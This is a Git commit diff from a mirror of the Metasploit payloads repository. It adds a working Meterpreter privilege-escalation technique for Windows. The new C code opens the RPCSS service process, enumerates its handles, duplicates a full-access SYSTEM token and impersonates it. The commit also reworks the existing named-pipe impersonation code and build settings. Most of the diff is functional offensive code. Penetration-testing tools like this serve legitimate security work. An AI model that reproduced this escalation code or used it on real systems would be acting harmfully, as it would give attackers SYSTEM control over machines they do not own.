1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

x64 version is working

This commit is contained in:
Spencer McIntyre 2020-08-18 15:41:42 -04:00
parent ee72ac26b9
commit 7967fd569d
5 changed files with 506 additions and 39 deletions
c/meterpreter
source/extensions/priv
workspace/ext_server_priv

@ -105,6 +105,15 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
break;
}
}
if (dwTechnique == ELEVATE_TECHNIQUE_ANY || dwTechnique == ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS) {
dprintf("[ELEVATE] Attempting ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS (%u)", ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS);
if ( (dwResult = elevate_via_service_namedpipe_rpcss( remote, packet )) == ERROR_SUCCESS) {
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS;
break;
}
}
} while( 0 );
if( response )

@ -5,11 +5,12 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service tecnique (#1)
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service tecnique (#2)
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
#define ELEVATE_TECHNIQUE_NONE -1 ///< Identifier that indicates no technique was successful
#define ELEVATE_TECHNIQUE_ANY 0 ///< Identifier that indicates that all techniques should be attempted.
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1 ///< Identifier for the Named Pipe service technique (#1)
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2 ///< Identifier for the Named Pipe service technique (#2)
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3 ///< Identifier for the Token Duplication service technique.
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE_RPCSS 4 ///< Identifier for the Named Pipe service technique (RPCSS variant)
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo ); ///< Stolen from ps.h

@ -1,3 +1,4 @@
#include <winternl.h>
#include "precomp.h"
#include "common_metapi.h"
#include "namedpipe.h"
@ -5,13 +6,368 @@
typedef DWORD (*Callback)(LPVOID);
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
ObjectTypeInformation = 2
} OBJECT_INFORMATION_CLASS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef NTSTATUS(WINAPI* NTQUERYINFORMATIONPROCESS)(HANDLE ProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
typedef NTSTATUS(WINAPI* NTQUERYOBJECT)(HANDLE Handle, DWORD ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength);
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation = 0,
ProcessHandleInformation = 51,
} PROCESSINFOCLASS;
typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO
{
HANDLE HandleValue;
ULONG_PTR HandleCount;
ULONG_PTR PointerCount;
ACCESS_MASK GrantedAccess;
ULONG ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION
{
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;
typedef struct _OBJECT_TYPE_INFORMATION
{
_UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
BOOL is_equal_luid(const PLUID luid1, const PLUID luid2) {
return ((luid1->HighPart == luid2->HighPart) && (luid1->LowPart == luid2->LowPart));
}
DWORD post_callback_use_self(Remote* remote);
// TODO: clean this function up
DWORD get_token_object_index(PULONG TokenIndex)
{
HANDLE hToken;
BOOL bRes;
NTSTATUS status;
HMODULE hNtdll = NULL;
NTQUERYOBJECT pNtQueryObject = NULL;
struct
{
OBJECT_TYPE_INFORMATION TypeInfo;
WCHAR TypeNameBuffer[sizeof("Token")];
} typeInfoWithName;
//
// Open the current process token
//
bRes = OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &hToken);
if (bRes == FALSE)
{
dprintf("[ELEVATE] get_token_object_index. OpenProcessToken failed");
return HRESULT_FROM_WIN32(GetLastError());
}
hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
dprintf("[ELEVATE] get_token_object_index. GetModuleHandle(\"ntdll\") failed");
// TODO: dprintf a message here
return GetLastError();
}
pNtQueryObject = (NTQUERYOBJECT)(GetProcAddress(hNtdll, "NtQueryObject"));
if (pNtQueryObject == NULL) {
dprintf("[ELEVATE] get_token_object_index. GetProcAddress(hNtdll, \"NtQueryObject\") failed");
// TODO: dprintf a message here
return GetLastError();
}
//
// Get the object type information for the token handle
//
status = pNtQueryObject(hToken,
ObjectTypeInformation,
&typeInfoWithName,
sizeof(typeInfoWithName),
NULL);
CloseHandle(hToken);
if (!NT_SUCCESS(status))
{
dprintf("[ELEVATE] get_token_object_index. NtQueryObject failed");
return HRESULT_FROM_NT(status);
}
//
// Return the object type index
//
*TokenIndex = typeInfoWithName.TypeInfo.TypeIndex;
dprintf("[ELEVATE] get_token_object_index. token index: %ul", typeInfoWithName.TypeInfo.TypeIndex);
return ERROR_SUCCESS;
}
// TODO: clean this function up
DWORD get_system_token(HANDLE hProc, PHANDLE phToken)
{
NTSTATUS status;
PROCESS_HANDLE_SNAPSHOT_INFORMATION localInfo;
PPROCESS_HANDLE_SNAPSHOT_INFORMATION handleInfo = &localInfo;
ULONG bytes;
ULONG tokenIndex;
ULONG i;
HRESULT hResult = ERROR_UNIDENTIFIED_ERROR;
BOOL bRes;
HANDLE dupHandle;
TOKEN_STATISTICS tokenStats;
LUID systemLuid = SYSTEM_LUID;
HMODULE hNtdll = NULL;
NTQUERYINFORMATIONPROCESS pNtQueryInformationProcess = NULL;
//
// Get the Object Type Index for Token Objects so we can recognize them
//
if (FAILED(get_token_object_index(&tokenIndex))) {
dprintf("[ELEVATE] get_system_token. get_token_object_index failed");
goto Failure;
}
hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
dprintf("[ELEVATE] get_system_token. GetModuleHandle(\"ntdll\") failed");
return ERROR_UNIDENTIFIED_ERROR;
}
pNtQueryInformationProcess = (NTQUERYINFORMATIONPROCESS)(GetProcAddress(hNtdll, "NtQueryInformationProcess"));
if (pNtQueryInformationProcess == NULL) {
dprintf("[ELEVATE] get_system_token. GetProcAddress(hNtdll, \"NtQueryInformationProcess\") failed");
return ERROR_UNIDENTIFIED_ERROR;
}
dprintf("[ELEVATE] resolved NtQueryInformationProcess");
//
// Check how big the process handle list is
//
status = pNtQueryInformationProcess(hProc,
ProcessHandleInformation,
handleInfo,
sizeof(*handleInfo),
&bytes);
if (NT_SUCCESS(status))
{
dprintf("[ELEVATE] get_system_token. NtQueryInformationProcess failed");
goto Failure;
}
//
// Add space for 16 more handles and try again
//
bytes += 16 * sizeof(*handleInfo);
handleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bytes);
status = pNtQueryInformationProcess(hProc, ProcessHandleInformation, handleInfo, bytes, NULL);
if (!NT_SUCCESS(status))
{
dprintf("[ELEVATE] get_system_token. failed to allocate enough space for NtQueryInformationProcess");
goto Failure;
}
dprintf("[ELEVATE] get_system_token. retrieved process handle information (number: %u)", handleInfo->NumberOfHandles);
//
// Enumerate each one
//
for (i = 0; i < handleInfo->NumberOfHandles; i++)
{
//
// Check if it's a token handle with full access
//
if (handleInfo->Handles[i].ObjectTypeIndex != tokenIndex) {
continue;
}
if (handleInfo->Handles[i].GrantedAccess != 0xf01ff) {
//dprintf("[ELEVATE] get_system_token. token object is missing all access (GrantedAccess: %#08x)", handleInfo->Handles[i].GrantedAccess);
continue;
}
//
// Duplicate the token so we can take a look at it
//
bRes = DuplicateHandle(hProc,
handleInfo->Handles[i].HandleValue,
GetCurrentProcess(),
&dupHandle,
0,
TRUE,
DUPLICATE_SAME_ACCESS);
if (bRes == FALSE)
{
dprintf("[ELEVATE] get_system_token. DuplicateHandle failed");
goto Failure;
}
//
// Get information on the token
//
if (!GetTokenInformation(dupHandle, TokenStatistics, &tokenStats, sizeof(tokenStats), &bytes)) {
dprintf("[ELEVATE] get_system_token. GetTokenInformation failed");
CloseHandle(dupHandle);
goto Failure;
}
dprintf("[ELEVATE] get_system_token. retrieved the token information");
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
dprintf("[ELEVATE] get_system_token. token is not SYSTEM");
CloseHandle(dupHandle);
continue;
}
dprintf("[ELEVATE] get_system_token. analyzing handle: 0x%#08x", handleInfo->Handles[i].HandleValue);
//
// Check if its a system token with all of its privileges intact
//
if (tokenStats.PrivilegeCount < 22) { // TODO: set this back to 22 for Windows 10
dprintf("[ELEVATE] get_system_token. token is missing privileges (count: %u)", tokenStats.PrivilegeCount);
CloseHandle(dupHandle);
continue;
}
HANDLE hThread = GetCurrentThread();
if (!SetThreadToken(&hThread, dupHandle)) {
dprintf("[ELEVATE] get_system_token. SetThreadToken failed <---------------------");
CloseHandle(dupHandle);
continue;
}
*phToken = dupHandle;
//SetThreadToken(GetCurrentThread(), dupHandle);
dprintf("[ELEVATE] Found a SYSTEM token");
//
// Get out of the loop
//
hResult = ERROR_SUCCESS;
break;
}
Failure:
//
// Free the handle list if we had one
//
if (handleInfo != &localInfo)
{
HeapFree(GetProcessHeap(), 0, handleInfo);
}
return hResult;
}
DWORD post_callback_use_rpcss(Remote* remote)
{
SC_HANDLE hScm = NULL;
SC_HANDLE hSvc = NULL;
HANDLE hProc = NULL;
SERVICE_STATUS_PROCESS procInfo;
DWORD dwBytes;
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hToken = NULL;
do {
hScm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hScm == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenSCManager failed");
}
// validated to here // TODO: remove this comment
hSvc = OpenService(hScm, "rpcss", SERVICE_QUERY_STATUS);
if (hSvc == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenService failed");
}
if (!QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&procInfo, sizeof(procInfo), &dwBytes)) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. QueryServiceStatusEx failed");
}
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procInfo.dwProcessId);
if (hProc == NULL) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. OpenProcess failed");
}
if (get_system_token(hProc, &hToken) != ERROR_SUCCESS) {
BREAK_ON_ERROR("[ELEVATE] post_callback_use_rpcss. get_system_token failed");
}
dwResult = ERROR_SUCCESS;
dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
post_callback_use_self(remote);
} while (0);
//if (hToken) {
// CloseHandle(hToken);
// hToken = NULL;
//}
if (hProc) {
CloseHandle(hProc);
hProc = NULL;
}
if (hSvc) {
CloseServiceHandle(hSvc);
hSvc = NULL;
}
if (hScm) {
CloseServiceHandle(hScm);
hScm = NULL;
}
// TODO: uncomment this
//if (dwResult != ERROR_SUCCESS) {
// RevertToSelf();
//}
return dwResult;
}
/*
* A post-impersonation callback that simply updates the meterpreter token to the
* current thread token.
* current thread token. This is used by the standard service-based technique.
*/
DWORD post_callback_use_self(Remote * remote)
{
HANDLE hToken = NULL;
TOKEN_STATISTICS tokenStats;
DWORD bytes;
LUID systemLuid = SYSTEM_LUID;
// get a handle to this threads token
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
@ -19,6 +375,16 @@ DWORD post_callback_use_self(Remote * remote)
return GetLastError();
}
if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &bytes)) {
dprintf("[ELEVATE] post_callback_use_self. GetTokenInformation failed");
}
if (!is_equal_luid(&tokenStats.AuthenticationId, &systemLuid)) {
dprintf("[ELEVATE] post_callback_use_self. token is **not** SYSTEM");
}
else {
dprintf("[ELEVATE] post_callback_use_self. token is SYSTEM");
}
// now we can set the meterpreters thread token to that of our system
// token so all subsequent meterpreter threads will use this token.
met_api->thread.update_token(remote, hToken);
@ -32,9 +398,9 @@ DWORD post_callback_use_self(Remote * remote)
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hServerPipe = NULL;
HANDLE hPipe = NULL;
HANDLE hSem = NULL;
char * cpServicePipe = NULL;
char * cpPipeName = NULL;
Remote * remote = NULL;
BYTE bMessage[128] = {0};
DWORD dwBytes = 0;
@ -45,23 +411,23 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
}
cpServicePipe = (char *)thread->parameter1;
cpPipeName = (char *)thread->parameter1;
remote = (Remote *)thread->parameter2;
hSem = (HANDLE)thread->parameter3;
fPostImpersonation = (Callback)thread->parameter4;
if (!cpServicePipe || !remote) {
if (!cpPipeName || !remote) {
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments",
ERROR_BAD_ARGUMENTS);
}
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)", cpPipeName);
// create the named pipe for the client service to connect to
hServerPipe = CreateNamedPipe(cpServicePipe,
hPipe = CreateNamedPipe(cpPipeName,
PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (!hServerPipe) {
if (!hPipe) {
BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
}
@ -71,7 +437,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
ERROR_DBG_TERMINATE_THREAD);
}
//signal the client that the pipe is ready
// signal the client that the pipe is ready
if (hSem) {
if (!ReleaseSemaphore(hSem, 1, NULL)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
@ -80,7 +446,7 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
}
// wait for a client to connect to our named pipe...
if (!ConnectNamedPipe(hServerPipe, NULL)) {
if (!ConnectNamedPipe(hPipe, NULL)) {
if (GetLastError() != ERROR_PIPE_CONNECTED)
continue;
}
@ -88,12 +454,12 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
dprintf("[ELEVATE] pipethread. receieved a client connection");
// we can't impersonate a client untill we have performed a read on the pipe...
if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
if (!ReadFile(hPipe, &bMessage, 1, &dwBytes, NULL)) {
CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
}
// impersonate the client!
if (!ImpersonateNamedPipeClient(hServerPipe)) {
if (!ImpersonateNamedPipeClient(hPipe)) {
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
}
@ -103,19 +469,21 @@ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. the post impersonation callback failed");
}
}
else {
dwResult = ERROR_SUCCESS;
}
break;
}
} while (0);
if (hServerPipe) {
DisconnectNamedPipe(hServerPipe);
CLOSE_HANDLE(hServerPipe);
if (hPipe) {
DisconnectNamedPipe(hPipe);
CLOSE_HANDLE(hPipe);
}
dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);
return dwResult;
}
@ -173,24 +541,24 @@ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet)
ERROR_ACCESS_DENIED);
}
//wait for the thread to create the pipe(if it times out terminate)
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
// wait for the thread to create the pipe, if it times out terminate
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
ERROR_ACCESS_DENIED);
}
} else {
Sleep(500);
} else {
Sleep(500);
}
// start the elevator service (if it doesnt start first time we need to create it and then start it).
// start the elevator service (if it doesn't start first time we need to create it and then start it).
if (service_start(cpServiceName) != ERROR_SUCCESS) {
dprintf("[ELEVATE] service starting failed, attempting to create");
if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed");
}
dprintf("[ELEVATE] creation of service succeeded, attempting to start");
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
// we don't check a return value for service_start as we expect it to fail as cmd.exe is not
// a valid service and it will never signal to the service manager that is is a running service.
service_start(cpServiceName);
}
@ -310,12 +678,13 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
}
//wait for the thread to create the pipe(if it times out terminate)
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0)
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe2. WaitForSingleObject failed",
ERROR_ACCESS_DENIED);
} else {
Sleep(500);
}
} else {
Sleep(500);
}
// start the elevator service (if it doesnt start first time we need to create it and then start it).
@ -368,3 +737,90 @@ DWORD elevate_via_service_namedpipe2(Remote * remote, Packet * packet)
return dwResult;
}
DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
{
DWORD dwResult = ERROR_ACCESS_DENIED;
THREAD* pThread = NULL;
HANDLE hSem = NULL;
char cServicePipe[MAX_PATH] = { 0 };
OSVERSIONINFO os = { 0 };
HANDLE hPipe = NULL;
// TODO: update log message function names in here
do {
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (!GetVersionEx(&os)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed")
}
// filter out Windows NT4 // TODO: Update this to XP per https://windows-internals.com/faxing-your-way-to-system/ (An Elevated Fax)
if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {
SetLastError(ERROR_ACCESS_DENIED);
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.")
}
// TODO: randomize this name
_snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH,
"\\\\.\\pipe\\pipey1");
hSem = CreateSemaphore(NULL, 0, 1, NULL);
pThread = met_api->thread.create(elevate_namedpipe_thread, &cServicePipe, remote, hSem, (Callback)post_callback_use_rpcss);
if (!pThread) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.create failed",
ERROR_INVALID_HANDLE);
}
if (!met_api->thread.run(pThread)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. met_api->thread.run failed",
ERROR_ACCESS_DENIED);
}
// wait for the thread to create the pipe, if it times out terminate
if (hSem) {
if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed",
ERROR_ACCESS_DENIED);
}
}
else {
Sleep(500);
}
hPipe = CreateFile("\\\\localhost\\pipe\\pipey1", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. CreateFile failed");
}
if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. WriteFile failed");
}
WaitForSingleObject(pThread->handle, 5000);
met_api->thread.sigterm(pThread);
met_api->thread.join(pThread);
// get the exit code for our pthread
dprintf("[ELEVATE] dwResult before exit code: %u", dwResult);
if (!GetExitCodeThread(pThread->handle, &dwResult)) {
BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed",
ERROR_INVALID_HANDLE);
}
dprintf("[ELEVATE] dwResult after exit code: %u", dwResult);
} while (0);
if (hPipe) {
CloseHandle(hPipe);
}
if (pThread) {
met_api->thread.destroy(pThread);
}
if (hSem) {
CloseHandle(hSem);
}
return dwResult;
}

@ -3,5 +3,6 @@
DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet );
DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet );
DWORD elevate_via_service_namedpipe_rpcss( Remote* remote, Packet* packet);
#endif

@ -98,7 +98,7 @@
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
@ -164,7 +164,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
@ -230,7 +230,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
@ -296,7 +296,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;DEBUGTRACE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
@ -381,4 +381,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>